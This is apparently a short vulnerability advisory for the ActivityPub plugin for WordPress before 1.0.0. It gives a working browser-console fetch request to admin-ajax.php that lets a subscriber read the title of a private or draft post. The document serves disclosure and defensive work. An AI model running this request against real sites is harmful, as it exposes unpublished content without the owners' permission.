ActivityPub for WordPress < 1.0.0 - Subscriber+ Arbitrary Post Title Disclosure

Proof of Concept

Run the below command in the developer console of the web browser while being on the blog as a subscriber

fetch("/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "method": "POST",
  "body": "action=parse-media-shortcode&shortcode=[ap_title]&post_ID=42",
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));

This will disclose the title of the private/draft post with ID 42 in the response